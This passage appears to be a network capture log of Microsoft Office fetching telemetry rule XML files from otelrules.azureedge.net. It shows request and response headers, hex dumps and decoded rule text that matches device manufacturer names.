</S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	62333	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:03 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: d245bbf4-701e-0098-6e7f-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124303Z-159b85dff8flhtkwhC1DFWeu9n00000000wg00000000amzk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	62331	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:03 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 331991e2-401e-005b-1f4e-2c9c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124303Z-176bd8f9bc5bc7vmhC1DFWbxbs00000000ug00000000bkr1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	62337	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:04 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 5dc1b391-401e-0029-66c0-2a9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124304Z-159b85dff8f97jn9hC1DFW19vg000000018g0000000050bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	62336	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:04 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:04 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c6a7ed93-b01e-0070-5e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124304Z-16ccfc49897pchpfhC1DFW151000000000n000000000d7q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:04 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	62338	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:04 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124304Z-16ccfc49897b872mhC1DFWqtb000000000eg000000007x29 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	62335	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:04 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: fee63fbd-701e-0021-2747-2c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124304Z-176bd8f9bc5fvjnbhC1DFW9ez800000000q00000000002ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:04 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	62339	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:04 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 3ed93b46-001e-0065-6b08-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124304Z-16ccfc49897vgjnwhC1DFWbx9800000000fg000000000gq4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	62340	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:05 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:05 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 499cd72e-d01e-0028-6208-2c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124305Z-176bd8f9bc598x8vhC1DFWq73s00000000w0000000004s3e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:05 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	62341	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:05 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 23cb26af-e01e-0052-1808-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124305Z-16dc884887b5wkkfhC1DFWur1000000000m0000000002vyb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	62344	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:05 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:05 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: d142ed2e-801e-0067-6d10-2cfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124305Z-176bd8f9bc5nnctdhC1DFWuuh800000000ng00000000d2ta x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	62343	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:05 UTC	498	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5d06d88c-b01e-0084-0908-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124305Z-16ccfc49897xnlwfhC1DFWz50s00000000mg00000000dahg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-01 12:43:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	62342	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:05 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:05 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ea74c521-301e-0096-759a-2be71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124305Z-159b85dff8frcv8ghC1DFWvf4c00000000mg000000005pu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 12:43:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 